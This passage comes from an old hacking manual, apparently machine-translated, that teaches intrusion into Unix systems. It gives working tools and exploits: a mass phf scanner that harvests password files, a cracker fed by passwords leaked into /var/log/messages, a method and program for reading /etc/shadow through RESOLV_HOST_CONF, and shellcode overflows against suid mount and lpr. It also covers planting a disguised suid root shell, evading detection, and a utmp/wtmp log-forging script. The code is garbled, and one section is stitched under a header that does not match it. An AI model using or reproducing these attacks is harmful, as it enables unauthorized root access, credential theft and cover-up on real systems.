jpp -gecos: 1 -dot: 7% 1 | jpp -translate:.! | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate:.! | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate:.! | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .A | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .A | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .A | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .A | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .a | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .a | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .a | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .a | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .q | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .q | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .q | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .q | jack -stdin% 1
0;
------------- cut here
Ok, this is easy, just type geturl.pl after chmod + x on the file.
This is my documentation for the file:
This useful tool is easy to use and with it you will get some root access and
many passwords from various domains.
geturl.pl will try and log the results for each domain on the web. You
choose the type: .COM .EDU
.ORG .MIL .GOV (o) you can enter a list of IP addresses to check. Self
find root access will log and proceed to the next one. If phf Probe
find non-root access will recover the password file for you and save it
in the current directory in the format (domainname.???.passwd)
This is a short documentation. For any question / msg ie oi ^ e
ftp to ftp.rs.internic.net
in the domain directory you will find:
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
download these files and run getdomain.pl on the domains to check first:
perl getdomain.pl com.zone com> com.all
This will check all .COM domains and create the com.all file in
which will put the search results.
To do the same thing with .EDU domains:
perl getdomain.pl edu.zone edu> edu.all
So we have a list to use with geturl.pl called edu.all
To use it type:
geturl.pl <filename>
filename = edu.all or com.all and don't put the <>
The results will be logged in a file called GetURLResults in the current one
directory.
1) geturl.pl will use LYNX (verify it's in your path)
2) if geturl finds root access to httpd in a url it will log that
domain in the result file. If geturl does not find root access but manages to
login to the domain with phf, it will download the password file in the
current directory, with the name fullnameofdomain.passwd
3) If you want you can get a list of IP addresses in the feed file.
4) I use os / 2 and have ported lynx and perl to hpfs and so I don't have
problems with long filenames. I tested it with unix and it's all ok, cois'
there should be no problem using this system in a unix shell.
What do you need:
1. Perl in the path
2. Lynx in the path
3. Filenames of 256 characters (unix or 0s / 2 hpfs)
4. the files included here
5. The domain files included in the internic ftp or a personal list of
urls or ip address and call the file 'urls' then type: geturl.pl
Caution:
It would be better if you paid cash for your internet account
using another name or we can use a hacked account to get them all
the results and then use another secure account to start working. But
I don't need to tell you, right? I don't have to blame myself for these files,
they are provided to check the security of domains. ;)
getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files
geturl.pl: to check and log the results of each domain
GetURLResults: The file that geturl makes as its log file
Here's another 'tip':
If you can read the file / var / adm / messages you can find some user
passwords
and even ROOT passwords!
How many times have you been in a hurry to log in? Type the password in
place of the
login. This is easy on one of those days when nothing seems to go
well. You have failed to login twice, the system runs slow, and so ... it
happens!
Login: hit enter
Password: you think I want to login so you write your name
Login: enter your password
In the message file it looks like this:
login: latuapassword
password ******* They didn't give it to you, you should only have the
login name, but
oops, you typed in your password, and if we can read the message file, we
have
a good password to put in crackerjack.
Here is a script to make things easier!
FOR THE BINDWAREZ BY QUANTUM FILE: You will find it in the text
file in the appendix
UUENCODED FILES.
------------ cut here
#! / bin / sh
# Under a lot of linux distributions (I know Redhat 3.0.3 and Slackware
3.0)
# / var / log / messages is world readable. If a user types in his password at
# the login prompt, it may get logged to / var / log / messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
# <[email protected]>
# http://www.escape.com/~daveg
echo Creating Dictionary from / var / log / messages, stored in
/tmp/messages.dict.$$
grep "LOGIN FAILURE" / var / log / messages | cut -d ',' -f2 | cut -c2- | sort
| uniq
>> /tmp/messages.dict.$$
if [! -e ./scrack]
then
echo "Creating scrack.c"
cat <<! > scrack.c
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>
#include <sys / types.h>
#define get_salt (d, s) strncpy (d, s, 2)
void
main (argc, argv)
int argc;
char ** argv;
{
struct passwd * pwd;
FILE * fp;
char buff [80], salt [3], * encrypted_string;
if ((fp = fopen (argv [1], "r")) == NULL)
{
fprintf (stderr, "Couldnt find dict file \ n");
exit (1);
}
while (fgets (buff, 80, fp)! = NULL)
{
setpwent ();
buff [strlen (buff) -1] = '\ 0';
while ((pwd = getpwent ())! = NULL)
{
if (strcmp ((* pwd) .pw_passwd, "*")! = 0 &&
(strlen ((* pwd) .pw_passwd) == 13))
{
get_salt (salt, (* pwd) .pw_passwd);
encrypted_string = crypt (buff, salt);
if (strcmp (encrypted_string, (* pwd) .pw_passwd) == 0)
{
fprintf (stdout, "l:% sp:% s \ n", (* pwd) .pw_name, buff);
fflush (stdout);
}
}
}
}
}
!
echo "Creating scrack"
cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi
./scrack /tmp/messages.dict.$$
echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them
yourself.
------ cut here
-----------------------
Section 3B
Novellini
-----------------------
Yet another place to find passwd files. Just follow the instructions
in section 2B.
------------------------------
Section 3C
Get the shadow passwd files
------------------------------
What is a shadow passwd file?
Let's use the passwd file below to show what it would look like if you edit
it:
root: x: 0: 0: root: / root: / bin / bash
bin: x: 1: 1: bin: / bin:
daemon: x: 2: 2: daemon: / sbin:
adm: x: 3: 4: adm: / var / adm:
lp: x: 4: 7: lp: / var / spool / lpd:
sync: x: 5: 0: sync: / sbin: / bin / sync
shutdown: x: 6: 0: shutdown: / sbin: / sbin / shutdown
halt: x: 7: 0: halt: / sbin: / sbin / halt
mail: x: 8: 12: mail: / var / spool / mail:
news: x: 9: 13: news: / usr / lib / news:
uucp: x: 10: 14: uucp: / var / spool / uucppublic:
operator: x: 11: 0: operator: / root: / bin / bash
games: x: 12: 100: games: / usr / games:
man: x: 13: 15: man: / usr / man:
postmaster: x: 14: 12: postmaster: / var / spool / mail: / bin / bash
nobody: x: -2: 100: nobody: / dev / null:
ftp: x: 404: 1 :: / home / ftp: / bin / bash
guest: x: 405: 100: guest: / dev / null: / dev / null
bhilton: x: 501: 100: Bob Hilton: / home / bhilton: / bin / bash
web: x: 502: 100: Web Master: / home / web: / bin / bash
mary: x: 503: 100: Mary C. Hilton: / home / mary: / bin / bash
Something is missing? Yup, encrypted passwords. If you get root access the
encrypted passwords are in / etc / shadow. Some Admins will hide the
shadow file
in some directory somewhere, but mostly you'll find it in / etc. Others
shadow programs will be able to put it in the master.passwd file. But if you
get the
root access, have a look around.
Let's say you have access to the machine but can't log in to root.
It is not a problem if they are using libc 5.4.7, and many do so by now
do! At least one of these files has suid permissions:
ping, traceroute, rlogin, or, ssh
1. Type bash or sh to launch a shell
2. Type export RESOLV_HOST_CONF = / etc / shadow
3. Type one of the filenames above with asdf, like so:
ping asdf
It should find the shadow passwd file for you if it works. It seems that
works on most systems currently.
Note: You can replace / etc / passwd with any file owned by ROOT that you
want to read.
Here is a quick script you can run on any file to render everything
easier:
rcb.c
-------- cut here
/ * RCB Phraser - therapy in '96
* Limits: Linux only, no binary files.
* little personal message to the world: FUCK CENSORSHIP!
*/
#include <stdio.h>
void getjunk (const char * filetocat)
{setenv ("RESOLV_HOST_CONF", filetocat, 1);
system ("ping xy 1> / dev / null 2> phrasing");
unsetenv ("RESOLV_HOST_CONF");
}
void main (argc, argv)
int argc; char ** argv;
{char buffer [200];
char * gag;
FILE * devel;
if ((argc == 1) ||! (strcmp (argv [1], "- h")) ||! (strcmp (argv [1], "- help")))
{printf ("RCB Phraser - junked by THERAPY \ n \ n");
printf ("Usage:% s [NO OPTIONS] [FILE to cat] \ n \ n", argv [0]);
exit (1);
}
getjunk (argv [1]);
gag = buffer;
gag + = 10;
devel = fopen ("phrasing", "rb");
while (! feof (devel))
{fgets (buffer, sizeof (buffer), devel);
if (strlen (buffer)> 24)
{strcpy (buffer + strlen (buffer) -24, "\ n");
fputs (gag, stdout);
}
}
fclose (devel);
remove ("phrasing");
}
-------------- cut here
command line: rcb / etc / shadow or any other file on the system that you
can't
to read ;)
--------------------
3D section
Get / etc / hosts
--------------------
Just a precaution, sometimes you'll need to know what the various systems
are
in the host file, or what are all the ip addresses or different domains in the
system. Be sure to retrieve the / etc / hosts file for more information
you may need in the future.
---------------------------
Chapter IV
Earn the root account
---------------------------
As I said before, in most cases, all you need is
an account and if you can't get it you could exchange it with someone in
some IRC (there is always someone who wants to get noticed). In this
manual there
are enough info and if despite this you are unable to earn the account
as root means that system is safe and probably will be safe in
future.
But don't be discouraged. You can always keep information about that
system from
part, write some notes and wait for some new exploit to come out.
Try to stay out of the system until then so you don't lose
the account. Remember that when you log into an account and you don't
have permissions
root, you cannot delete log files, so when the owner user
account will log in and will see a message that says:
last login from xxx.com time: 0: 00 date: xx / xx / xx
This way he might find that someone has logged in with his account.
-----------
Section 4A
Bugs
-----------
There are many bugs in a system's programs that they let you have
root access. It can be a game installed on the system or sendmail.
If they don't update the system with new patches you can be sure sooner or
later
log in as root.
Along with this manual, we at IHS have reported many exploits for UNIX,
HP-UNIX and Linux. (there will be one that works ...).
I recommend that you finish reading the manual before starting an intrusion
otherwise you risk getting caught or staying in the system for a long time
time without doing anything.
-----------
Section 4B
Exploits
-----------
Now we present some very common exploits that are on a just decent
system
they won't work. Our intent, however, is to show you how
an exploit works and these examples seemed very instructive to us.
umount / mount exploit
Look in the / bin directory for a file called umount (or mount), if you can't
find it look for it
in the system like this:
find / -name umount -print -xdev
Go to the directory where the file is located and type:
ls -al um *
If this file has suid permissions then you will probably become root.
The suid permissions are: rws for the owner who is root. Basically
so':
victim: / bin # ls -al um *
-rwsr-sr-x 1 root 8888 Mar 21 1995 umount
victim: / bin #
We can become root by compiling the file below:
umount.c
------ cut here
/ * sno.c: Linux realpath exploit
* Syntax: ./sno N
* mount $ WOOT
* OR umount $ WOOT
* N is some number which seems to differ between 4 & 8, if your number is
* too big, you will get a mount error, if it is too small, it will seg
* fault. Figure it out. (Sometimes N = 0 for mount)
* If you use mount, first thing to do once you get the root shell is rm
* / etc / mtab ~, if this file exists you can't root with mount until it is
* removed.
*
*
* -ReDragon
*/
#define SIZE 1024
long get_esp (void)
{
__asm __ ("movl% esp,% eax \ n");
}
main (int argc, char ** argv)
{
char env [SIZE + 4 + 1]; / * 1024 buffer + 4 bytes return address + null
byte * /
int a, r;
char * ptr;
long * addr_ptr;
char execshell [] =
"\ xeb \ x24 \ x5e \ x8d \ x1e \ x89 \ x5e \ x0b \ x33 \ xd2 \ x89 \ x56 \
x07 \ x89 \ x56 \ x0f"
"\ xb8 \ x1b \ x56 \ x34 \ x12 \ x35 \ x10 \ x56 \ x34 \ x12 \ x8d \ x4e \
x0b \ x8b \ xd1 \ xcd"
"\ x80 \ x33 \ xc0 \ x40 \ xcd \ x80 \ xe8 \ xd7 \ xff \ xff \ xff / bin / sh";
char * exec_ptr = execshell;
r = atoi (argv [1]);
ptr = env;
memcpy (ptr, "WOOT =", 5); / * set environment variable to use * /
ptr + = 5;
for (a = 0; a <SIZE + 4-strlen (execshell) -r; a ++) / * pad front with
NOPs * /
* (ptr ++) = 0x90;
while (* exec_ptr)
* (ptr ++) = * (exec_ptr ++);
addr_ptr = (long *) ptr;
* (addr_ptr ++) = get_esp () + 1139; / * 0xbffffc01 * /
ptr = (char *) addr_ptr;
* ptr = 0; / * must end with null byte to terminate string * /
putenv (env);
system ("/ bin / mount $ WOOT");
}
----------- cut here
************************************
To compile the file on the victim machine type: gcc umount.c -o um (or
what do you want to call it)
This will create a file called um that you can run.
With this exploit you have to give a number like:
./um 0 or ./um 4 .... up to 8
*********************************************
If you fail you could try lpr. Look in / usr / bin lpr and check if it has i
suid permissions ...
ls -l lpr
Ok has suid permissions ... Use this script
*************************************
lpr.linux.c
------------- cut here
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023
long get_esp (void)
{
__asm __ ("movl% esp,% eax \ n");
}
void main ()
{
char * buff = NULL;
unsigned long * addr_ptr = NULL;
char * ptr = NULL;
u_char execshell [] = "\ xeb \ x24 \ x5e \ x8d \ x1e \ x89 \ x5e \ x0b \ x33
\ xd2 \ x89 \ x56 \ x07"
"\ x89 \ x56 \ x0f \ xb8 \ x1b \ x56 \ x34 \ x12 \ x35 \
x10 \ x56 \ x34 \ x12"
"\ x8d \ x4e \ x0b \ x8b \ xd1 \ xcd \ x80 \ x33 \ xc0 \
x40 \ xcd \ x80 \ xe8"
"\ xd7 \ xff \ xff \ xff / bin / sh";
int i;
buff = malloc (4096);
if (! buff)
{
printf ("can't allocate memory \ n");
exit (0);
}
ptr = buff;
memset (ptr, 0x90, BUFFER_SIZE-strlen (execshell));
ptr + = BUFFER_SIZE-strlen (execshell);
for (i = 0; i <strlen (execshell); i ++)
* (ptr ++) = execshell [i];
addr_ptr = (long *) ptr;
for (i = 0; i <2; i ++)
* (addr_ptr ++) = get_esp () + DEFAULT_OFFSET;
ptr = (char *) addr_ptr;
* ptr = 0;
execl ("/ usr / bin / lpr", "lpr", "-C", buff, NULL);
}
---------- cut here
****************************
This is the BSD version
****************************
lpr.bsd.c
-------------------------------------------------- ------- cut here
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023
long get_esp (void)
{
__asm __ ("movl% esp,% eax \ n");
}
void main ()
{
char * buff = NULL;
unsigned long * addr_ptr = NULL;
char * ptr = NULL;
char execshell [] =
"\ xeb \ x23 \ x5e \ x8d \ x1e \ x89 \ x5e \ x0b \ x31 \ xd2 \ x89 \ x56 \
x07 \ x89 \ x56 \ x0f"
"\ x89 \ x56 \ x14 \ x88 \ x56 \ x19 \ x31 \ xc0 \ xb0 \ x3b \ x8d \ x4e \
x0b \ x89 \ xca \ x52"
"\ x51 \ x53 \ x50 \ xeb \ x18 \ xe8 \ xd8 \ xff \ xff \ xff / bin / sh \ x01 \
x01 \ x01 \ x01"
"\ x02 \ x02 \ x02 \ x02 \ x03 \ x03 \ x03 \ x03 \ x9a \ x04 \ x04 \ x04 \
x04 \ x07 \ x04";
int i;
buff = malloc (4096);
if (! buff)
{
printf ("can't allocate memory \ n");
exit (0);
}
ptr = buff;
memset (ptr, 0x90, BUFFER_SIZE-strlen (execshell));
ptr + = BUFFER_SIZE-strlen (execshell);
for (i = 0; i <strlen (execshell); i ++)
* (ptr ++) = execshell [i];
addr_ptr = (long *) ptr;
for (i = 0; i <2; i ++)
* (addr_ptr ++) = get_esp () + DEFAULT_OFFSET;
ptr = (char *) addr_ptr;
* ptr = 0;
execl ("/ usr / bin / lpr", "lpr", "-C", buff, NULL);
}
--------- cut here
Now just compile it to do: chmod prgname + x and run it
Observe the owner of the group. All files you copy will have
as the lp owner, be sure to change the group of each file that
type. (chgrp root filename). Always check the owner with ls -l.
It is a good idea to use this exploit ONLY to gain access
as root, then just copy bash or sh (or whatever you want) with a
other name somewhere else and make it root with root's suid. Then
type chmod filename + s
This way you will have root access with root gid and uid in the future
without using the lp. Make sure you rename the shell to do it
seem like a system process (if the administrator controls what processes
root are running, you shouldn't notice our shell)
************************************************** *
This is another exploit that affects / usr / bin / splitvt
If this command has suid permissions, compile the program below
****************************************
sp.c
-------------------------------------------- cut here
/*
* Avalon Security Research
* Release 1.3
* (splitvt)
*
* Affected Program: splitvt (1)
*
* Affected Operating Systems: Linux 2-3.X
*
* Exploitation Result: Local users can obtain superuser privileges.
*
* Bug Synopsis: A stack overflow exists via user defined unbounds checked
* user supplied data sent to a sprintf ().
*
* Syntax:
* crimson ~ $ cc -o sp sp.c
* crimson ~ $ sp
* bash $ sp
* bash $ splitvt
* bash # whoami
* root
*
* Credit: Full credit for this bug (both the research and the code)
* goes to Dave G. & Vic M. Any questions should be directed to
* [email protected].
*
* ------------------------------------------------- ---------------------------
*/
sub del_by_range {
my ($ range) = shift;
$ range = ~ m / (\ d +) * - (\ d +) * /;
my ($ lo, $ hi, $ count) = ($ 1, $ 2, 0);
$ lo = 0 if (! defined ($ lo));
$ hi = scalar (keys (% entries)) if (! defined ($ hi));
foreach (sort ({$ a <=> $ b} keys (% entries))) {
if (($ _> = $ lo) && ($ _ <= $ hi)) {
delete ($ entries {$ _});
$ count ++;
}
}
print "$ count entries deleted. \ n";
}
sub del_by_data {
my ($ op, $ data) = @_;
my ($ count) = 0;
if ((length ($ data) <5) && ($ op eq "host")) {
print "Must specify at least 5 characters for delete hostmask. \ n";
return undef;
} elsif (((length ($ data)> 4) && ($ op eq "id")) ||
((length ($ data)> 11) && ($ op eq "line"))) {
print "Invalid $ op specified. \ n";
return undef;
}
# Note: If we are deleting by user, then user must match, * exactly *!
$ data = "^". pack ("a8", $ data). "\ $" if ($ op eq "user");
foreach (sort ({$ a <=> $ b} keys (% entries))) {
if (% {$ entries {$ _}} -> {$ op} = ~ m / $ data (s)) {
delete ($ entries {$ _});
++ $ count;
}
}
if (! $ count) {
print "No $ op entries matching $ data. \ n";
} else {
print "$ count entries deleted. \ n";
}
}
# INSERT
# Date1 Time1 = DateTime1 => mm / dd / [cc] yy [: hh: mm [: ss]]
# Date2 Time2 = DateTime2 => (see above)
# user = <username>
# host = <hostname>
# id = <id> | line = <line>
#
# utmp:
# insert {id = | line =} [type =] [user =] [host =] [DateTime]
# wtmp:
# insert {id = | line =} [user =] [host =] [DateTime1] {DateTime2}
sub ins_func {
my (% cmdopt) = {};
my ($ datetime1, $ datetime2, $ gmdate, $ gmdate2);
# Get random pid out of the way.
$ cmdopt {"pid"} = int (rand (32656) +100);
$ cmdopt {"addr"} = pack ("a4", "");
# Get command options.
foreach (@_) {
if (/ = /) {
local ($ key, $ value) = split (/ = /);
$ cmdopt {$ key} = $ value;
} else {
if (! defined ($ datetime1)) {
$ datetime1 = $ _;
next;
}
if (! defined ($ datetime2)) {
$ datetime2 = $ _;
next;
}
print "insert :: Invalid options specified. Please see \" help \ "for
syntax. \ n ";
return undef;
}
}
# Check for an illegal pair or illegal option.
foreach (keys (% cmdopt)) {
if (! (/ ^ host | id | line | type | user | addr $ /)) {
print "insert :: Invalid options specified. Please see \" help \ "for
syntax. \ n ";
return undef;
}
if (($ _ eq "last") && ($ active_file! ~ m! / * utmp [^ /] * $! i)) {
print "insert :: LAST option only valid for utmp files. \ n";
return undef;
}
}
# Get date in seconds since 1970.
$ gmdate = SecsSince1970 ($ datetime1);
# Get ending date in seconds since 1970.
$ gmdate2 = SecsSince1970 ($ datetime2) if (defined ($ datetime2));
if (! defined ($ gmdate) || (! defined ($ gmdate2) && defined ($
datetime2))) {
print "insert :: Invalid date specified. \ n";
return undef;
}
if (defined ($ gmdate2)) {
if ($ gmdate2 <$ gmdate) {
print "insert :: First date / time must be * later * than second
date / time. \ n ";
return undef;
}
}
if (defined ($ cmdopt {"id"}) && defined ($ cmdopt {"line"})) {
print "insert :: Insert by LINE or ID only. Please do not specify both. \
n";
return undef;
}
my ($ op);
if (! defined ($ cmdopt {"id"})) {
$ cmdopt {"id"} = $ cmdopt {"line"};
$ op = "line";
if (! ($ cmdopt {"id"} = ~ s / ^ $ ttybase //)) {
print "insert :: Invalid line specified. \ n";
return undef;
}
} else {
$ cmdopt {"line"} = $ ttybase. $ cmdopt {"id"};
$ op = "id";
}
if (! (defined ($ cmdopt {"line"}) || defined ($ cmdopt {"id"}))) {
print "insert :: Neither LINE nor ID value found. See \" help \ "for
syntax. \ n ";
return undef;
}
my ($ searchdata) = ($ active_file = ~ m! / * utmp [^ /] * $! i)?
(pack (($ op eq "line")? "a12": "a4", $ cmdopt {$ op})): $ cmdopt {$
op};
my ($ epos1, $ npos1, $ epos2, $ npos2) = ();
my ($ oldpos, $ count) = ("", 0);
foreach (sort ({$ a <=> $ b} keys (% entries))) {
if ($ active_file = ~ m! / * utmp [^ /] * $! i) {
# Handle utmp insertion by line insertion.
if (% {$ entries {$ _}} -> {$ op} eq $ searchdata) {
printf ("insert :: $ op $ searchdata already exists at position $ _ \ n");
# This needs to check every option in% cmdopt for defined or null.
$ count = 0;
foreach (qw (user host time)) {
if (defined ($ cmdopt {$ _})) {
$ count ++ if ($ cmdopt {$ _} ne "");
}
}
if (! $ count) {
printf ("insert :: No other data specified. Entry unchanged. \ n");
return undef;
}
last;
}
} else {
# Handle wtmp insertion by time position. (Messy)
$ epos1 = $ oldpos if (defined ($ npos1) &&! defined ($ epos1));
$ npos1 = $ _ if (% {$ entries {$ _}} -> {"time"}> $ gmdate);
last if (! defined ($ gmdate2) && defined ($ epos1));
$ epos2 = $ oldpos if (defined ($ npos2));
$ npos2 = $ _ if (% {$ entries {$ _}} -> {"time"}> $ gmtime2);
last if (defined ($ epos2));
}
$ oldpos = $ _;
}
# Set any unspecified defaults.
$ cmdopt {"user"} = pack ("a8", "") if! defined ($ cmdopt {"user"});
$ cmdopt {"host"} = pack ("a16", "") if! defined ($ cmdopt {"host"});
$ cmdopt {"type"} = 7 if! defined ($ cmdopt {"type"});
# Determine end of list insertion positions. (IE, dates entered are after
# dates in wtmp file or line / id not found in utmp file.
$ epos1 = (scalar (keys (% entries)) + 1) if (! defined ($ npos1));
if (defined ($ datetime2)) {
$ epos2 = (scalar (keys (% entries)) + 1) if (! defined ($ npos2));
++ $ epos2 if (defined ($ gmtime2) &&! defined ($ npos1));
}
# Parse insert data and insert entry.
$ epos1 = sprintf ("% 7.3f", ($ npos1 - $ epos1) / 2) if (defined ($ npos1));
$ epos2 = sprintf ("% 7.3f", ($ npos2 - $ epos2) / 2)
if (defined ($ npos2) && defined ($ gmdate2));
# Insert first entry.
$ cmdopt {"time"} = $ gmdate;
@ {$ entries {$ epos1}} {qw (type pid line id time user host addr)} =
@ {% cmdopt} {qw (type pid line id time user host addr)};
if (defined ($ epos2)) {
$ cmdopt {"user"} = pack ("a8", "");
$ cmdopt {"host"} = pack ("a16", "");
$ cmdopt {"id"} = pack ("a4", "");
$ cmdopt {"time"} = $ gmdate2;
@ {$ entries {$ epos2}} {qw (type pid line id time user host addr)} =
@ {% cmdopt} {qw (type pid line id time user host addr)};
}
resync ();
}
# LIST
sub list_func {
my (@params) = @_;
if (! push (@_) || ($ params [0] eq "all")) {
list_by_range ("-");
return 0;
} elsif ($ params [0] = ~ / ^ host | user | id | line $ /) {
list_by_data (@_);
return 0;
} elsif ($ params [0] = ~ m / \ d * - \ d + | \ d + - \ d * /) {
list_by_range ($ params [0]);
return 0;
} elsif ($ params [0] = ~ m / ^ (\ d +) $ /) {
list_by_range ("$ 1- $ 1");
return 0;
}
print ("list :: Error in parameters. See \" help \ "for syntax. \ n");
return undef;
}
sub list_by_data {
my ($ op, $ data) = @_; my ($ count) = 0;
foreach (sort ({$ a <=> $ b} keys (% entries))) {
if (% {$ entries {$ _}} -> {$ op} = ~ m / $ data (s)) {
list_entry ($ _);
++ $ count;
}
}
print "No $ op entries matching $ data. \ n" if (! $ count);
}
sub list_by_range {
my ($ range) = shift;
$ range = ~ m / (\ d +) * - (\ d +) * /;
my ($ lo, $ hi) = ($ 1, $ 2);
$ lo = 0 if (! defined ($ lo));
$ hi = scalar (keys (% entries)) if (! defined ($ hi));
foreach (sort ({$ a <=> $ b} keys (% entries))) {
if (($ _> = $ lo) && ($ _ <= $ hi)) {
list_entry ($ _);
}
}
}
sub list_entry {
printf ("#% 3d -". gmtime (% {$ entries {$ _}} -> {"time"}), $ _);
printf ("% s /% s", @ {$ entries {$ _}} {qw (id line)});
printf (":% s",% {$ entries {$ _}} -> {"user"})
if (% {$ entries {$ _}} -> {"user"} ne pack ("a8", ""));
printf ("from% s",% {$ entries {$ _}} -> {"host"})
if (% {$ entries {$ _}} -> {"host"} ne pack ("a16", ""));
if (% {$ entries {$ _}} -> {"addr"} ne "\ 0 \ 0 \ 0 \ 0") {
printf ("(% s)", longtodot4 (% {$ entries {$ _}} -> {"addr"}));
}
print ("\ n");
printf ("% 7sPID =% u \ n", "",% {$ entries {$ _}} -> {"pid"})
if (% {$ entries {$ _}} -> {"pid"} && (% {$ entries {$ _}} -> {"user"}
ne
pack ("a8", "")));
}
# <Silmaril> printf "# $ _ -% s% s /% s:% s from% s \ n", @ {$ v} -> {qw
(time id line user
host)};
# <Silmaril> now * that's * cool :-)
# <Silmaril> should be like this: @ {$ v} {qw (time id line user host)}
# <Silmaril> I had an extra -> in my first version.
#
# Or course, it's changed since then, but - "Thanks, Sil!" :)
#
# READ
sub read_func {
my ($ arg) = shift;
$ arg = $ utmp_location if ($ arg eq "utmp");
$ arg = $ wtmp_location if ($ arg eq "wtmp");
$ arg = $ active_file if (! defined ($ arg));
if ($ arg! ~ m! / * [uw] tmp [^ /] * $!) {
print ("read :: Filenames * must * start with either 'wtmp' or 'utmp' to be
edited. \ n ");
return undef;
}
readfile ($ arg);
}
# WRITE
sub write_func {
my ($ file) = shift;
my ($ count) = 0;
$ file = $ active_file if (! defined ($ file));
if ($ file! ~ m! / * [uw] tmp [^ /] * $!) {
print ("write :: File must start with 'utmp' or 'wtmp'. \ nRename file
outside
this program. \ n ");
return undef;
}
if (! open (OUTFILE, "> $ file")) {
print ("write :: Can't open $ file for output. \ n");
return undef;
}
binmode (OUTFILE);
foreach (sort ({$ a <=> $ b} keys (% entries))) {
printf OUTFILE ("% s", pack ("i L a12 a4 L a8 a16 a4",
@ {$ entries {$ _}} {qw (type pid line id time user host addr)}));
$ count ++;
}
print ("$ active_file:". scalar (keys (% entries)). "entries written. \ n");
close (OUTFILE);
}
# CHECK
sub check_func {
if (push (@_)) {
print "check :: Invalid options specified. Please see \" help \ "\ n";
return undef;
}
if ($ active_file! ~ m! / * utmp [^ /] * $!) {
print "check :: Command can only be run on utmp files. \ n";
return undef;
}
# Build struct of ports containing port name, device num and owner.
# Note: Test run in grepstr may * not * be portable for all Unix
# types. Be forewarned! This was designed for Linux.
# Hint: For all intents and purposes, s / ^ $ ttybase ([$ ttyrange] [$
ttyports]) $ /
# should return the same as what you expect in "struct utmp-> ut_id".
my ($ grepstr) = "^ ($ ttybase \ [$ ttyrange \] \ [$ ttyports \]) \ $";
my (% ports) = {};
my ($ user, $ rdev) = ();
opendir (DEVDIR, "/ dev");
my (@devfiles) = readdir (DEVDIR);
@devfiles = grep (/ $ grepstr /, @devfiles);
close (DEVDIR);
foreach (@devfiles) {
/ ^ $ ttybase ([$ ttyrange] [$ ttyports]) $ /;
if (! defined ($ 1)) {
print "check :: Warning! Could not extract port ID from $ _. \ n";
} else {
($ user, $ rdev) = (stat ("/ dev / $ _")) [4, 6];
$ user = getpwuid ($ user);
$ ports {$ 1} = newport ($ _, $ rdev, $ user);
}
}
# Check ownership of / dev ports.
my (@logdev) = ();
foreach (sort (keys (% ports))) {
push (@logdev, $ _) if (% {$ ports {$ _}} -> {"owner"} ne "root");
}
@logdev = sort (@logdev);
# Check utmp (against ports detected as logged in);
my (@logutmp) = ();
foreach (sort ({$ a <=> $ b} keys (% entries))) {
if (defined (% {$ entries {$ _}} -> {"user"}) && defined (% {$ entries
{$ _}} -> {"host"})
&&
defined (% {$ entries {$ _}} -> {"id"}) && defined (% {$ entries {$
_}} -> {"pid"}))
{
push (@logutmp,% {$ entries {$ _}} -> {"id"})
if ((% {$ entries {$ _}} -> {"id"} = ~ / [$ ttyrange] [$ ttyports] /)
&&
((% {$ entries {$ _}} -> {"user"} ne pack ("a8", "")) ||
((% {$ entries {$ _}} -> {"host"} ne pack ("a16", "")) &&
(% {$ entries {$ _}} -> {"id"} ne pack ("a4", "")) &&
(% {$ entries {$ _}} -> {"line"} ne pack ("a12", "")) &&
(% {$ entries {$ _}} -> {"pid"}> 0))));
}
}
@logutmp = sort (@logutmp);
# Check PIDs (find processes with active port ids)
opendir (PIDDIR, "/ proc");
my (% processes) = {};
my (@portprocesses) = ();
foreach (grep (/ \ d + /, readdir (PIDDIR))) {
local ($ procdata, $ cmdline);
open (PROCFILE, "</ proc / $ _ / stat");
$ procdata = <PROCFILE>;
close (PROCFILE);
if (-e "/ proc / $ _ / stat") {
local ($ cmdline, $ devnum, $ portid);
($ cmd, $ devnum) = (split (/ /, $ procdata)) [1, 6];
# Remove surrouding () from command name.
$ cmd = ~ s / [\ (\)] // g;
$ portid = dev2id (\% ports, $ devnum);
if (defined ($ portid)) {
push (@portprocesses, $ portid)
if (! defined (listpos (\ @ portprocesses, $ portid)) && ($$! = $ _));
$ processes {$ _} = newproc ($ cmd, $ portid) if (defined ($ portid)
&& ($$! =
$ _));
}
}
}
close (PIDDIR);
# A port is * not * logged in if there is no dev entry for port, no utmp
entry
# and no active processes.
my (@validshellports) = ();
foreach (sort ({$ a <=> $ b} keys (% processes))) {
push (@validshellports,% {$ processes {$ _}} -> {"port"})
if (defined (listpos (\ @ shells,% {$ processes {$ _}} -> {"cmd"}))
&&
! defined (listpos (\ @ validshellports,% {$ processes {$ _}} ->
{"port"})));
}
# Remove ports with valid shells from list of ports with active processes.
my (@noshellports) =
sort (grep (! defined (listpos (\ @ validshellports, $ _)),
@portprocesses));
@validshellports = sort (@validshellports);
print "Ports with active / dev files: @logdev \ n"
if (defined (@logdev));
print "Ports with utmp entries: @logutmp \ n"
if (defined (@logutmp));
